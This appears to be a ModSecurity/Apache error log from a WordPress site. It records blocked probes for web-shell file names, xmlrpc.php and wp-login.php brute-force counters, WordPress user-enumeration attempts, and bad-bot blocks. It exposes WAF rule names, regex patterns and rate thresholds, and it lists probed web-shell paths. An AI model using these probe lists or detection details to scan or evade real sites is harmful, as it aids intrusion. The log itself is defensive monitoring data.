[Sat Feb 21 03:24:15.453673 2026] [:error] [pid 38340:tid 38358] [client 104.46.226.22:54806] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aZi03xwhxuy_mBXA_-IrKQAAANA"]
[Sat Feb 21 03:24:16.047420 2026] [:error] [pid 38340:tid 38342] [client 104.46.226.22:5922] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aZi04Bwhxuy_mBXA_-IrLAAAAMA"]
[Sat Feb 21 03:24:16.434585 2026] [:error] [pid 38340:tid 38355] [client 104.46.226.22:65411] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aZi04Bwhxuy_mBXA_-IrLgAAAM0"]
[Sat Feb 21 03:24:16.930372 2026] [:error] [pid 38340:tid 38347] [client 104.46.226.22:54835] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aZi04Bwhxuy_mBXA_-IrMQAAAMU"]
[Sat Feb 21 03:24:17.475209 2026] [:error] [pid 38165:tid 38289] [client 104.46.226.22:56531] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aZi04cveKhyo2vBHvI-xJwAAAFI"]
[Sat Feb 21 03:24:18.428951 2026] [:error] [pid 38165:tid 38285] [client 104.46.226.22:54794] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aZi04sveKhyo2vBHvI-xMQAAAE4"]
[Sat Feb 21 03:24:18.863233 2026] [:error] [pid 38340:tid 38356] [client 104.46.226.22:51378] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aZi04hwhxuy_mBXA_-IrNAAAAM4"]
[Sat Feb 21 03:24:19.236045 2026] [:error] [pid 38165:tid 38294] [client 104.46.226.22:51078] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aZi048veKhyo2vBHvI-xPQAAAFc"]
[Sat Feb 21 03:24:19.506119 2026] [:error] [pid 38340:tid 38343] [client 104.46.226.22:56464] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aZi04xwhxuy_mBXA_-IrNQAAAME"]
[Sat Feb 21 03:24:20.317401 2026] [:error] [pid 38165:tid 38277] [client 104.46.226.22:65070] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aZi05MveKhyo2vBHvI-xRgAAAEY"]
[Sat Feb 21 03:24:21.556348 2026] [:error] [pid 38165:tid 38293] [client 104.46.226.22:60375] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aZi05cveKhyo2vBHvI-xTwAAAFY"]
[Sat Feb 21 03:24:22.242491 2026] [:error] [pid 38164:tid 38242] [client 104.46.226.22:5928] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZi05tbO3dRxYRcZLe2NjAAAAAE"]
[Sat Feb 21 03:24:22.739954 2026] [:error] [pid 38340:tid 38344] [client 104.46.226.22:5579] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZi05hwhxuy_mBXA_-IrOAAAAMI"]
[Sat Feb 21 03:24:23.554875 2026] [:error] [pid 38166:tid 38302] [client 104.46.226.22:5591] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZi05zatjXy17zTTzEFbvAAAAIQ"]
[Sat Feb 21 03:24:24.817539 2026] [:error] [pid 38340:tid 38351] [client 104.46.226.22:56526] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZi06Bwhxuy_mBXA_-IrOgAAAMk"]
[Sat Feb 21 03:24:25.604232 2026] [:error] [pid 38340:tid 38346] [client 104.46.226.22:60889] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aZi06Rwhxuy_mBXA_-IrPAAAAMQ"]
[Sat Feb 21 03:24:26.805631 2026] [:error] [pid 38340:tid 38357] [client 104.46.226.22:60364] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aZi06hwhxuy_mBXA_-IrPwAAAM8"]
[Sat Feb 21 03:24:28.332873 2026] [:error] [pid 38166:tid 38310] [client 104.46.226.22:60966] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aZi07DatjXy17zTTzEFbwgAAAIw"]
[Sat Feb 21 03:24:29.153130 2026] [:error] [pid 38164:tid 38262] [client 104.46.226.22:65412] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aZi07dbO3dRxYRcZLe2NmQAAABU"]
[Sat Feb 21 05:11:33.117283 2026] [:error] [pid 40756:tid 40776] [client 83.58.177.243:63002] [client 83.58.177.243] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZjOBQNlDP60sLYgqXLAzgAAAAo"]
[Sat Feb 21 05:12:24.046808 2026] [:error] [pid 40758:tid 40841] [client 83.58.177.243:63118] [client 83.58.177.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZjOOEBAHxvBM3i9iKGOegAAAJM"]
[Sat Feb 21 05:13:18.801759 2026] [:error] [pid 22558:tid 22566] [client 83.58.177.243:63283] [client 83.58.177.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZjObirVaIb2gXsVbDoUYAAAAQY"]
[Sat Feb 21 05:14:18.127747 2026] [:error] [pid 40756:tid 40783] [client 83.58.177.243:63442] [client 83.58.177.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZjOqgNlDP60sLYgqXLCOgAAABE"]
[Sat Feb 21 05:15:17.836806 2026] [:error] [pid 22558:tid 22571] [client 83.58.177.243:63590] [client 83.58.177.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZjO5SrVaIb2gXsVbDoVJAAAAQs"]
[Sat Feb 21 05:16:34.981136 2026] [:error] [pid 22558:tid 22582] [client 83.58.177.243:64562] [client 83.58.177.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZjPMirVaIb2gXsVbDoV3gAAARY"]
[Sat Feb 21 08:06:17.444105 2026] [:error] [pid 40871:tid 40883] [client 212.87.216.67:19079] [client 212.87.216.67] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZj2-TqDikjdiOZeJyX6swAAAMo"]
[Sat Feb 21 08:06:21.773247 2026] [:error] [pid 40756:tid 40773] [client 212.87.216.67:47609] [client 212.87.216.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.87.216.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZj2_QNlDP60sLYgqXIDmwAAAAc"]
[Sat Feb 21 09:05:18.656783 2026] [:error] [pid 40756:tid 40769] [client 187.57.142.72:63687] [client 187.57.142.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.57.142.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZkEzgNlDP60sLYgqXIdQQAAAAM"]
[Sat Feb 21 12:07:42.870673 2026] [:error] [pid 40758:tid 40836] [client 187.57.142.72:57317] [client 187.57.142.72] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZkvjkBAHxvBM3i9iKEVIgAAAI4"]
[Sat Feb 21 12:09:25.212668 2026] [:error] [pid 40758:tid 40824] [client 187.57.142.72:51777] [client 187.57.142.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.57.142.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZkv9UBAHxvBM3i9iKEVoAAAAII"]
[Sat Feb 21 12:10:53.801565 2026] [:error] [pid 40757:tid 40805] [client 187.57.142.72:52996] [client 187.57.142.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.57.142.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZkwTag_MKVL7zhH7dywEwAAAEo"]
[Sat Feb 21 12:12:16.042920 2026] [:error] [pid 40757:tid 40818] [client 187.57.142.72:56557] [client 187.57.142.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.57.142.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZkwoKg_MKVL7zhH7dywhgAAAFc"]
[Sat Feb 21 12:13:40.745966 2026] [:error] [pid 22558:tid 22584] [client 187.57.142.72:57296] [client 187.57.142.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.57.142.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZkw9CrVaIb2gXsVbDqlRQAAARg"]
[Sat Feb 21 12:15:04.489761 2026] [:error] [pid 40871:tid 40890] [client 187.57.142.72:55848] [client 187.57.142.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.57.142.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZkxSDqDikjdiOZeJyU5dQAAANE"]
[Sat Feb 21 13:30:09.961633 2026] [:error] [pid 40758:tid 40838] [client 43.153.86.78:37656] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZlC4UBAHxvBM3i9iKEo8wAAAJA"]
[Sat Feb 21 14:59:21.373660 2026] [:error] [pid 40871:tid 40874] [client 43.153.86.78:48824] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZlXyTqDikjdiOZeJyVdPAAAAME"]
[Sat Feb 21 18:15:38.277665 2026] [:error] [pid 11941:tid 11953] [client 106.227.49.113:38614] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZmFynTUkHs3EVWllKm0dwAAAYo"]
[Sat Feb 21 20:11:21.923345 2026] [:error] [pid 22558:tid 22570] [client 43.157.22.57:52202] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZmg6SrVaIb2gXsVbDonlAAAAQo"]
[Sat Feb 21 21:25:12.632470 2026] [:error] [pid 40758:tid 40840] [client 43.164.197.224:58228] [client 43.164.197.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZmyOEBAHxvBM3i9iKGKBQAAAJI"]
[Sat Feb 21 23:08:04.653522 2026] [:error] [pid 40758:tid 40832] [client 135.149.8.148:53585] [client 135.149.8.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.149.8.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZnKVEBAHxvBM3i9iKGZOQAAAIo"]
[Sat Feb 21 23:39:01.222688 2026] [:error] [pid 40757:tid 40814] [client 49.37.34.120:59732] [client 49.37.34.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.34.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZnRlag_MKVL7zhH7dxRNQAAAFM"]
[Sat Feb 21 23:39:03.321305 2026] [:error] [pid 53975:tid 53987] [client 49.37.34.120:59763] [client 49.37.34.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZnRl9eFesAKjJ7sq3GmmgAAAkc"]
[Sat Feb 21 23:41:16.252893 2026] [:error] [pid 40871:tid 40874] [client 49.37.34.120:61964] [client 49.37.34.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.34.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZnSHDqDikjdiOZeJyW90AAAAME"]
[Sat Feb 21 23:46:30.523643 2026] [:error] [pid 40756:tid 40787] [client 124.217.51.104:28942] [client 124.217.51.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.51.104, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZnTVgNlDP60sLYgqXL3DAAAABU"]
[Sat Feb 21 23:50:56.750583 2026] [:error] [pid 11941:tid 11954] [client 49.37.34.120:52346] [client 49.37.34.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.34.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZnUYHTUkHs3EVWllKn_LwAAAYs"]
[Sat Feb 21 23:56:08.729976 2026] [:error] [pid 40756:tid 40767] [client 49.37.34.120:50177] [client 49.37.34.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.34.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZnVmANlDP60sLYgqXL4wwAAAAE"]
[Sat Feb 21 23:59:34.479825 2026] [:error] [pid 36509:tid 36521] [client 49.37.34.120:54566] [client 49.37.34.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.34.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZnWZjG8U28d2EFbEqXqLAAAAco"]
[Sun Feb 22 00:33:57.551327 2026] [:error] [pid 3179:tid 3422] [client 14.215.163.132:44084] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZneddgAWCcL8bTGJUUVIQAAAAo"]
[Sun Feb 22 01:48:46.893508 2026] [:error] [pid 4789:tid 4794] [client 104.28.153.15:15468] [client 104.28.153.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZnv_q9_231lp37V1xxSGgAAAQM"]
[Sun Feb 22 01:52:49.114306 2026] [:error] [pid 3204:tid 3474] [client 51.83.237.175:41040] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZnw8XAwnUMG8727rz4YcgAAAIg"]
[Sun Feb 22 01:52:51.352884 2026] [:error] [pid 3195:tid 3457] [client 51.83.237.175:41018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZnw8w28anZ1nWyZCI5FbgAAAFI"]
[Sun Feb 22 01:52:54.011636 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:41020] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZnw9q9_231lp37V1xxTrAAAAQc"]
[Sun Feb 22 01:52:56.082300 2026] [:error] [pid 3195:tid 3443] [client 51.83.237.175:41024] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZnw-A28anZ1nWyZCI5FdQAAAEQ"]
